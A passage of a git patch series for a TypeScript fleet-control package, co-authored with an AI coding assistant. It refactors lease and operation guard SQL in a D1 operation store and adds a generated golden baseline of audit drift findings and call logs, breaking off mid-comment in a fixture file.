`fleet-audit:${FOURTH_OPERATION_ID}`, @@ -1401,15 +1426,3 @@ describe('D1FleetOperationStore', () => { ).rejects.toThrow(FleetOperationStoreCapabilityError); }); }); - -function auditRun(revision: number): FleetOperationRunRecord { - return runRecord('audit', revision); -} - -function rowCount(db: MemoryD1): number { - return Number( - db.sqlite - .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_operation_rows') - .all()[0]?.count, - ); -} From 9f3598b56428503e5f104b09b9a44993da6be5e9 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 22:40:48 +0400 Subject: [PATCH 054/169] refactor(fleet-control): close the R4-A nit ledger Pass 2 of the R4-A polish: the audit stage order carries an element-validity satisfies clause; the three guard SQL fragments become module constants (byte-identical text, probe-verified); the withAccountOperationLease wrapper returns as a documented arity fence keeping the internal lease owner token out of caller callbacks (probe-proven reachable before); a narrowed local replaces the inventory-store cast; comments gain their load-bearing premises and drop over-width lines; test literals derive from their bound constants; the probe fixture adopts the MemoryD1 lost-response vocabulary. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .../src/d1-fleet-operation-store.ts | 88 ++++++++++--------- .../fleet-control/src/fleet-audit-state.ts | 33 +++---- .../src/fleet-operation-state.ts | 1 + .../fixtures/fleet-state-harness-probe.ts | 10 +-- .../test/fleet-operation-state.test.ts | 17 ++-- 5 files changed, 78 insertions(+), 71 deletions(-) diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 4bea4e5f..1fc804c3 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -43,6 +43,18 @@ const KIND_CHECK = FLEET_OPERATION_KINDS.map((kind) => `'${kind}'`).join(','); const ROW_KIND_CHECK = FLEET_OPERATION_ROW_KINDS.map( (kind) => `'${kind}'`, ).join(','); +const LEASE_EXISTS_SQL = `EXISTS (SELECT 1 FROM ${LEASE_TABLE} + WHERE account_id = ? AND operation_kind = ? AND owner_token = ? + AND expires_at > ${DB_NOW_MS})`; +const OPERATION_GUARD_SQL = `FROM ${OPERATION_TABLE} r + WHERE r.account_id = ? AND r.operation_id = ? + AND r.operation_kind = ? + AND json_extract(r.op_record, '$.state') = 'running' + AND json_extract(r.op_record, '$.progress.revision') = ? + AND ${LEASE_EXISTS_SQL}`; +const ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal < ?`; type Row = Readonly>; @@ -264,12 +276,6 @@ export class D1FleetOperationStore implements FleetOperationStore { } } - #leaseExists(): string { - return `EXISTS (SELECT 1 FROM ${LEASE_TABLE} - WHERE account_id = ? AND operation_kind = ? AND owner_token = ? - AND expires_at > ${DB_NOW_MS})`; - } - #leaseBindings(kind: FleetOperationKind, token: string): readonly unknown[] { return [this.#accountId, kind, token]; } @@ -290,7 +296,11 @@ export class D1FleetOperationStore implements FleetOperationStore { kind: FleetOperationKind, operation: (lease: FleetOperationLease) => Promise, ): Promise { - return this.#withAccountOperationLeaseInternal(kind, operation); + // The wrapper keeps the internal lease owner token out of + // caller-supplied callbacks. + return this.#withAccountOperationLeaseInternal(kind, (lease) => + operation(lease), + ); } async #withAccountOperationLeaseInternal( @@ -474,7 +484,7 @@ export class D1FleetOperationStore implements FleetOperationStore { OR (active_operation_id IS NULL AND NOT EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ?))) - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} RETURNING active_operation_id`, bindings: [ operationId, @@ -563,15 +573,6 @@ export class D1FleetOperationStore implements FleetOperationStore { : undefined; } - #operationGuard(): string { - return `FROM ${OPERATION_TABLE} r - WHERE r.account_id = ? AND r.operation_id = ? - AND r.operation_kind = ? - AND json_extract(r.op_record, '$.state') = 'running' - AND json_extract(r.op_record, '$.progress.revision') = ? - AND ${this.#leaseExists()}`; - } - #operationGuardBindings( kind: FleetOperationKind, token: string, @@ -587,12 +588,6 @@ export class D1FleetOperationStore implements FleetOperationStore { ]; } - #rowsBelowOrdinalSql(): string { - return `FROM ${ROW_TABLE} - WHERE account_id = ? AND operation_id = ? - AND row_kind = ? AND ordinal < ?`; - } - async #stageRows( kind: FleetOperationKind, token: string, @@ -620,7 +615,7 @@ export class D1FleetOperationStore implements FleetOperationStore { account_id, operation_id, row_kind, ordinal, payload ) SELECT ?, ?, ?, ?, ? - ${this.#operationGuard()} + ${OPERATION_GUARD_SQL} ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING RETURNING row_kind, ordinal`, bindings: [ @@ -707,7 +702,7 @@ export class D1FleetOperationStore implements FleetOperationStore { // A retry may stage byte-identical later members before this transition; // later watermarks and finalize's totals cover those surplus ordinals. const watermarkSql = watermarks - .map(() => `AND (SELECT COUNT(*) ${this.#rowsBelowOrdinalSql()}) = ?`) + .map(() => `AND (SELECT COUNT(*) ${ROWS_BELOW_ORDINAL_SQL}) = ?`) .join('\n'); // Every row mutation carries the SAME lease, kind, state, and PRE-update // revision guard as the operation update, so stale or losing writers land @@ -718,7 +713,7 @@ export class D1FleetOperationStore implements FleetOperationStore { account_id, operation_id, row_kind, ordinal, payload ) SELECT ?, ?, ?, ?, ? - ${this.#operationGuard()} + ${OPERATION_GUARD_SQL} ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING RETURNING row_kind, ordinal`, bindings: [ @@ -735,7 +730,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET payload = ? WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? - AND EXISTS (SELECT 1 ${this.#operationGuard()}) + AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL}) RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -753,7 +748,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} ${watermarkSql} RETURNING operation_id`, bindings: [ @@ -806,7 +801,7 @@ export class D1FleetOperationStore implements FleetOperationStore { } for (const [rowKind, watermark] of watermarks) { const stored = await this.#db.query( - `SELECT COUNT(*) AS count ${this.#rowsBelowOrdinalSql()}`, + `SELECT COUNT(*) AS count ${ROWS_BELOW_ORDINAL_SQL}`, [this.#accountId, operationId, rowKind, watermark], ); if (rowNumber(stored[0], 'count') !== watermark) { @@ -876,7 +871,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} ${countSql} ${completeSql} RETURNING operation_id`, @@ -903,7 +898,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ? AND operation_kind = ? @@ -941,16 +936,19 @@ export class D1FleetOperationStore implements FleetOperationStore { [this.#accountId, kind], ); if (head[0]?.active_operation_id === operationId) { - // The only legal repair is the head release; operation data is immutable. - // The readback above already proved `persisted.state === 'finalized'`, - // which stands in for the in-batch finalized-state EXISTS guard R3's - // repair carries. + // Head release is the only legal repair. The repair UPDATE carries + // the lease guard (one writer per account+kind); every operation- + // record UPDATE guards state='running', so a terminal record cannot + // be updated, and prune — the only path that removes one — runs + // under this same lease; the head row is pinned by + // active_operation_id. The preceding readback proved state and + // revision. await this.#db.query( `UPDATE ${HEAD_TABLE} SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} RETURNING account_id`, [ this.#accountId, @@ -1019,7 +1017,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET payload = ? WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? - AND EXISTS (SELECT 1 ${this.#operationGuard()}) + AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL}) RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -1038,7 +1036,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND operation_kind = ? AND json_extract(op_record, '$.state') = 'running' AND json_extract(op_record, '$.progress.revision') = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} ${exactRows} RETURNING operation_id`, bindings: [ @@ -1062,7 +1060,7 @@ export class D1FleetOperationStore implements FleetOperationStore { SET active_operation_id = NULL WHERE account_id = ? AND operation_kind = ? AND active_operation_id = ? - AND ${this.#leaseExists()} + AND ${LEASE_EXISTS_SQL} AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} WHERE account_id = ? AND operation_id = ? AND operation_kind = ? @@ -1156,7 +1154,8 @@ export class D1FleetOperationStore implements FleetOperationStore { }>, ): Promise> { assertLimit(input.limit); - if (input.kind === 'audit' && !this.#inventoryStore) { + const inventoryStore = this.#inventoryStore; + if (input.kind === 'audit' && inventoryStore === undefined) { throw new FleetOperationStoreCapabilityError(); } return this.#withAccountOperationLeaseInternal( @@ -1192,8 +1191,11 @@ export class D1FleetOperationStore implements FleetOperationStore { const record = fleetAuditOperationRecordFromUnknown( parseJson(rowString(candidate, 'op_record')), ); - const inventoryStore = this - .#inventoryStore as FleetInventoryRunStore; + // tsc cannot narrow the captured store across the compound + // guard above, so this restates it rather than casting. + if (inventoryStore === undefined) { + throw new FleetOperationStoreCapabilityError(); + } // Lock order is operation KIND lease outer, inventory ACCOUNT lease // inner, and is never acquired in reverse by production callers. await inventoryStore.releasePin({ @@ -1237,7 +1239,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND latest.operation_kind = o.operation_kind AND json_extract(latest.op_record, '$.state') = 'finalized') )) - AND ${this.#leaseExists()}`; + AND ${LEASE_EXISTS_SQL}`; const guardBindings = [ this.#accountId, operationId, diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index 4728f408..1db5994d 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -33,22 +33,21 @@ export type FleetAuditStage = | Readonly<{ step: 'per-record'; recordOrdinal: number }> | Readonly<{ step: 'finalize' }>; -export const FLEET_AUDIT_STAGE_ORDER: readonly FleetAuditStage['step'][] = - Object.freeze([ - 'provider-findings', - 'registration-orphans', - 'deployment-orphans', - 'deployment-gaps', - 'orphan-databases', - 'orphan-routes', - 'namespace-orphans', - 'namespace-expectations', - 'r2-expected', - 'r2-orphans', - 'r2-missing-identity', - 'per-record', - 'finalize', - ]); +export const FLEET_AUDIT_STAGE_ORDER = Object.freeze([ + 'provider-findings', + 'registration-orphans', + 'deployment-orphans', + 'deployment-gaps', + 'orphan-databases', + 'orphan-routes', + 'namespace-orphans', + 'namespace-expectations', + 'r2-expected', + 'r2-orphans', + 'r2-missing-identity', + 'per-record', + 'finalize', +] as const) satisfies readonly FleetAuditStage['step'][]; const STAGE_ORDINAL = Object.freeze({ 'provider-findings': 'rowOrdinal', @@ -175,6 +174,8 @@ export function nextAuditStage( ): FleetAuditStage { const current = fleetAuditStageFromUnknown(stage); if (!exhausted || current.step === 'finalize') return current; + // 'finalize' is last in FLEET_AUDIT_STAGE_ORDER, so the early return + // keeps this index in range. const next = FLEET_AUDIT_STAGE_ORDER[ FLEET_AUDIT_STAGE_ORDER.indexOf(current.step) + 1 ] as FleetAuditStage['step']; diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 3ea982dd..0a3ac0af 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -214,6 +214,7 @@ export interface FleetOperationLease { ): Promise; } +/** Rejects malformed durable operation state with FleetOperationStateError. */ export function malformed(): never { throw new FleetOperationStateError(); } diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 997e65f3..36712726 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -1586,7 +1586,7 @@ async function atomicClaimBatch(db: D1Database): Promise { await readyStore(db); const delegate = new D1FleetStateDatabase(db); let loseResponse = true; - const lostResponseDatabase: FleetStateDatabase = { + const failAfterCommitDatabase: FleetStateDatabase = { query: (sql, bindings) => delegate.query(sql, bindings), execute: (sql, bindings) => delegate.execute(sql, bindings), async batch(statements) { @@ -1598,7 +1598,7 @@ async function atomicClaimBatch(db: D1Database): Promise { return result; }, }; - const store = new D1FleetStateStore(lostResponseDatabase, { + const store = new D1FleetStateStore(failAfterCommitDatabase, { accountId: 'account-primary', }); const applicationResources = Array.from({ length: 32 }, (_, index) => ({ @@ -2596,7 +2596,7 @@ async function readyInventoryStore( } /** Drops the next batch's result rows, reproducing a lost D1 response. */ -function lostResponseDatabase( +function hideResultsDatabase( delegate: FleetStateDatabase, ): FleetStateDatabase & Readonly<{ loseNextBatch(): void }> { let lose = false; @@ -2879,7 +2879,7 @@ async function inventoryCommitConcurrency(db: D1Database): Promise { async function inventoryFinalizeConvergence(db: D1Database): Promise { await readyInventoryStore(db); - const database = lostResponseDatabase(new D1FleetStateDatabase(db)); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); const store = inventoryStore(database); const operationId = inventoryOperationId(2); const rows = inventoryRows('finalize'); @@ -3337,7 +3337,7 @@ async function operationCommitConcurrency(db: D1Database): Promise { async function operationFinalizeConvergence(db: D1Database): Promise { await readyOperationStore(db); - const database = lostResponseDatabase(new D1FleetStateDatabase(db)); + const database = hideResultsDatabase(new D1FleetStateDatabase(db)); const target = operationStore(database); const id = operationId(2); return target.withAccountOperationLease('migration', async (lease) => { diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index b798f785..e871b9da 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -316,12 +316,10 @@ describe('fleet operation state', () => { it('row payload 16 KiB bound + 96 KiB record-row allowance', () => { const valueBytes = 3000; - const rowPayloadOverflowCount = Math.ceil( - FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND / valueBytes, - ); - const recordRowOverflowCount = Math.ceil( - FLEET_OPERATION_RECORD_ROW_BYTE_BOUND / valueBytes, - ); + const rowPayloadOverflowCount = + Math.floor(FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND / valueBytes) + 1; + const recordRowOverflowCount = + Math.floor(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND / valueBytes) + 1; const payload = Object.fromEntries( Array.from({ length: rowPayloadOverflowCount }, (_, index) => [ `value${index}`, @@ -401,7 +399,10 @@ describe('fleet operation state', () => { expect(withheldAuditDetail('maintenance-stale')).toBe( "finding detail withheld: unsafe bytes (kind 'maintenance-stale')", ); - for (const detail of ['x'.repeat(4097), 'unsafe\u0000detail']) { + for (const detail of [ + 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1), + 'unsafe\u0000detail', + ]) { expect(isDurableAuditDetailSafe(detail)).toBe(false); expect(() => driftFindingRowFromUnknown({ @@ -518,6 +519,8 @@ describe('fleet operation state', () => { it("the audit kind vocabulary is set-equal to DriftFinding['kind']", () => { type DriftKind = DriftFinding['kind']; + // The set-equality proof is compile-time; pnpm typecheck is the gate + // that enforces it. const driftIsSubsetOfAudit: Exclude< DriftKind, FleetAuditFindingKind From 64a7a124f32eafeb954c7c36c9390b306bd10689 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 00:39:56 +0400 Subject: [PATCH 055/169] test(fleet-control): freeze the golden audit baseline MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit R4-B.1 of the C2-R4 plan: a hand-authored 23-record world drives the shipped auditFleetDrift into a frozen 47-finding / 86-op baseline (recorder with structural --check, one golden equivalence test), with a 40-site coverage matrix mapping every finding-push site to the world or a named exact-order title. The recording collaborators fence the rewrite to come: op tokens intercepted at real seams with a frozen vocabulary (defensive list/renew/delete members and throwing optional members included), a two-clock authority fence on the re-arm put, and per-record credential-delivery pins — all feeding a shared violation ledger that rejects a write-mode re-record loudly instead of encoding a regression as plausible baseline rows. Suite 1,438 -> 1,439. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01KRECeuo6T37aouqqT3CaMK --- .../test/fixtures/fleet-audit-baseline.ts | 424 ++++++ .../test/fixtures/fleet-audit-world.ts | 1220 +++++++++++++++++ .../test/fleet-audit-golden.test.ts | 17 + scripts/CLAUDE.md | 11 + scripts/record-audit-baseline.mjs | 336 +++++ 5 files changed, 2008 insertions(+) create mode 100644 packages/fleet-control/test/fixtures/fleet-audit-baseline.ts create mode 100644 packages/fleet-control/test/fixtures/fleet-audit-world.ts create mode 100644 packages/fleet-control/test/fleet-audit-golden.test.ts create mode 100644 scripts/record-audit-baseline.mjs diff --git a/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts new file mode 100644 index 00000000..8d2f0893 --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts @@ -0,0 +1,424 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by `scripts/record-audit-baseline.mjs` from the hand-authored world + * in `fleet-audit-world.ts`. It freezes the observable behavior of + * `auditFleetDrift()` (src/fleet.ts) before it is decomposed into bounded + * stages, so the decomposition can be proven byte-equivalent. Verify with + * `node scripts/record-audit-baseline.mjs --check`; any required change to + * these literals is a compatibility break, not a fixture update. + */ + +import type { DriftFinding } from '../../src/fleet.js'; +import type { AuditOpLogEntry } from './fleet-audit-world.js'; + +/** Every finding `auditFleetDrift()` returned, in order. */ +export const AUDIT_BASELINE_FINDINGS = [ + { + tenantTag: 'seed-provider', + environment: 'production', + kind: 'stale-route', + detail: 'seeded provider finding carried through the golden baseline', + }, + { + tenantTag: 'ghost-registration', + environment: 'production', + kind: 'orphan-deployment', + detail: + "registered script 'ghost-registered-script' has no live fleet owner", + }, + { + tenantTag: 'ghost-live', + environment: 'production', + kind: 'orphan-deployment', + detail: "unregistered script 'ghost-live-script'", + }, + { + tenantTag: 'livedup', + environment: 'production', + kind: 'duplicate-deployment', + detail: "expected lifecycle Worker 'livedup-worker' appears 2 times", + }, + { + tenantTag: 'missingdeploy', + environment: 'production', + kind: 'missing-deployment', + detail: + "expected lifecycle Worker 'missingdeploy-worker' is absent from provider inventory", + }, + { + tenantTag: 'stalenotready', + environment: 'production', + kind: 'missing-deployment', + detail: + "expected lifecycle Worker 'stalenotready-worker' is absent from provider inventory", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'orphan-database', + detail: "unregistered fleet database 'db-orphan-ghost'", + }, + { + tenantTag: 'orphan-route-owner', + environment: 'production', + kind: 'orphan-route', + detail: + "route 'orphan-route.example.test' points to unregistered mapping 'nonexistent-script'", + }, + { + tenantTag: 'routedup', + environment: 'production', + kind: 'orphan-route', + detail: + "route 'routedup.example.test' points to unregistered mapping 'route-dup-ghost-script'", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'orphan-namespace', + detail: "unregistered Durable Object namespace 'ns-orphan-ghost'", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'orphan-namespace', + detail: "unregistered Durable Object namespace 'ns-bindingmismatch-wrong'", + }, + { + tenantTag: 'recdupb', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-recdupb' is absent from fleet inventory", + }, + { + tenantTag: 'dupexpnsb', + environment: 'production', + kind: 'duplicate-namespace', + detail: "namespace 'ns-shared-expected' also bound to dupexpnsa:production", + }, + { + tenantTag: 'missingns', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-missing-expected' is absent from fleet inventory", + }, + { + tenantTag: 'missingdeploy', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-missingdeploy' is absent from fleet inventory", + }, + { + tenantTag: 'dbmismatch', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-dbmismatch' is absent from fleet inventory", + }, + { + tenantTag: 'bindingmismatch', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-bindingmismatch' is absent from fleet inventory", + }, + { + tenantTag: 'routebroken', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-routebroken' is absent from fleet inventory", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-platformdrift-missing' is absent from fleet inventory", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'duplicate-namespace', + detail: "namespace 'ns-shared-expected' also bound to dupexpnsa:production", + }, + { + tenantTag: 'stalenotready', + environment: 'production', + kind: 'missing-namespace', + detail: + "expected Durable Object namespace 'ns-stalenotready' is absent from fleet inventory", + }, + { + tenantTag: 'r2dupb', + environment: 'production', + kind: 'r2-bucket-drift', + detail: "R2 bucket 'shared-bucket' is claimed by more than one deployment", + }, + { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'orphan-r2-bucket', + detail: "unregistered fleet R2 bucket 'bucket-orphan-ghost'", + }, + { + tenantTag: 'r2missing', + environment: 'production', + kind: 'missing-r2-bucket', + detail: + "expected R2 bucket 'bucket-missing' is absent from fleet inventory", + }, + { + tenantTag: 'r2drift', + environment: 'production', + kind: 'r2-bucket-drift', + detail: "R2 bucket 'bucket-drift' changed its persisted creation identity", + }, + { + tenantTag: 'recdupa', + environment: 'production', + kind: 'duplicate-deployment', + detail: "script 'shared-record-script' is registered 2 times", + }, + { + tenantTag: 'recdupb', + environment: 'production', + kind: 'duplicate-deployment', + detail: "script 'shared-record-script' is registered 2 times", + }, + { + tenantTag: 'dbmismatch', + environment: 'production', + kind: 'database-mismatch', + detail: + "fleet inventory does not contain exactly database 'db-dbmismatch' for 'dbmismatch-worker'", + }, + { + tenantTag: 'bindingmismatch', + environment: 'production', + kind: 'binding-drift', + detail: + 'expected RUNNER:Runner:ns-bindingmismatch, found RUNNER:Runner:ns-bindingmismatch-wrong', + }, + { + tenantTag: 'routebroken', + environment: 'production', + kind: 'route-drift', + detail: + "deployment inventory does not contain exactly route 'routebroken.example.test'", + }, + { + tenantTag: 'routebroken', + environment: 'production', + kind: 'route-drift', + detail: "route 'routebroken.example.test' is missing or mismatched", + }, + { + tenantTag: 'routedup', + environment: 'production', + kind: 'duplicate-route', + detail: "route 'routedup.example.test' appears 2 times", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'version-drift', + detail: + "trusted Worker 'platform-drift-state-worker' has drifted ownership or artifact metadata", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'binding-drift', + detail: + "trusted state Worker 'platform-drift-state-worker' has drifted database, Durable Object, or egress bindings", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'version-drift', + detail: + "trusted Worker 'platform-drift-egress-worker' has drifted ownership or artifact metadata", + }, + { + tenantTag: 'platformdrift', + environment: 'production', + kind: 'binding-drift', + detail: + "trusted egress Worker 'platform-drift-egress-worker' has drifted policy or attribution bindings", + }, + { + tenantTag: 'channeldrift', + environment: 'production', + kind: 'binding-drift', + detail: + "release 'channeldrift-worker' has drifted trusted channel bindings", + }, + { + tenantTag: 'inspectabsent', + environment: 'production', + kind: 'missing-deployment', + detail: "script 'inspectabsent-worker' is absent", + }, + { + tenantTag: 'maintstale', + environment: 'production', + kind: 'maintenance-stale', + detail: 'maintenance scheduler is not armed', + }, + { + tenantTag: 'rearmfail', + environment: 'production', + kind: 'maintenance-stale', + detail: 'maintenance scheduler is not armed', + }, + { + tenantTag: 'rearmfail', + environment: 'production', + kind: 'audit-error', + detail: 'maintenance re-arm failed: Error: maintenance re-arm failed', + }, + { + tenantTag: 'stalenotready', + environment: 'production', + kind: 'incomplete-provisioning', + detail: "phase 'worker-deployed' has not advanced", + }, + { + tenantTag: 'wfprelease', + environment: 'production', + kind: 'version-drift', + detail: + "lifecycle release 'wfp-release-pending' does not match its persisted identity, artifact, schema, and spec digest", + }, + { + tenantTag: 'wfprelease', + environment: 'production', + kind: 'audit-error', + detail: + "lifecycle release 'wfp-release-pending' has no durable binding topology", + }, + { + tenantTag: 'wfprelease', + environment: 'production', + kind: 'version-drift', + detail: + "lifecycle release 'wfp-release-active' does not match its persisted identity, artifact, schema, and spec digest", + }, + { + tenantTag: 'wfprelease', + environment: 'production', + kind: 'database-mismatch', + detail: + "lifecycle release 'wfp-release-active' is not bound exactly to database 'db-wfprelease'", + }, + { + tenantTag: 'wfprelease', + environment: 'production', + kind: 'binding-drift', + detail: + "lifecycle release 'wfp-release-active' has drifted Durable Object, service, queue, application variable, R2, or secret topology", + }, +] as const satisfies readonly DriftFinding[]; + +/** + * Every `withDeploymentLease`/`get`/`put`/`inspect`/`ensureMaintenance` + * call, every `resolver:` invocation, and every `lease.assertOwned()` + * call `auditFleetDrift()` made, in order. `list`/`renew`/`delete` are in + * `AuditOpLogEntry`'s vocabulary but never appear here (defensive, unused by + * this pre-decomposition world). + */ +export const AUDIT_BASELINE_OPS = [ + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'withDeploymentLease', + 'get', + 'put', + 'assertOwned:maintstale:production', + 'ensureMaintenance', + 'resolver:backendFor', + 'resolver:specFor', + 'resolver:maintenanceSecretFor', + 'inspect', + 'withDeploymentLease', + 'get', + 'put', + 'assertOwned:rearmfail:production', + 'ensureMaintenance', +] as const satisfies readonly AuditOpLogEntry[]; diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts new file mode 100644 index 00000000..907cba76 --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts @@ -0,0 +1,1220 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * Hand-authored deterministic world for the `auditFleetDrift` golden baseline. + * `scripts/record-audit-baseline.mjs` and `test/fleet-audit-golden.test.ts` both + * import this file; the recorder NEVER writes it, so the recorded literals can + * never rewrite their own input. + * + * The world freezes the SHIPPED behavior of `auditFleetDrift` in + * `src/fleet.ts` (lines 560-1403) before its internals are decomposed into + * bounded stages (R4-B.2), so the decomposition can be proven + * behavior-equivalent. It drives every finding kind `auditFleetDrift` itself + * pushes except `duplicate-database` (pinned exact-order by + * fleet.test.ts:803); provider-supplied inventory-finding kinds are + * represented by the single seeded `stale-route`. It also records both + * the exact findings array AND the exact sequence of calls the function makes + * onto its `store`, `backendFor`, `specFor`, and `maintenanceSecretFor` + * collaborators (the "op log") — every + * `withDeploymentLease`/`get`/`put`/`inspect`/`ensureMaintenance` call, every + * `resolver:` invocation, and every `lease.assertOwned()` call (tagged + * `assertOwned::`, the only op token that carries a + * key — every other token is bare because relative order alone identifies it + * against this frozen, single-pass world). + * + * Most records are independent "stories", each engineered to trip one or a + * few specific `findings.push(...)` sites in `auditFleetDrift`; a handful of + * sites are deliberately left uncovered by this world and pinned instead by + * the existing exact-order titles in `test/fleet.test.ts`: + * - fleet.ts:1047, :1059, :1103, :1273 (the `String(error)` resolver- and + * inspection-failure catch sites) — this world's `backendFor`/ + * `specFor`/`maintenanceSecretFor`/`inspect` collaborators never throw, + * so only `test/fleet.test.ts:2384` ("contains resolver, inspection, + * and maintenance re-arm failures per deployment") exercises them. + * - fleet.ts:1291, :1300, :1313, :1328 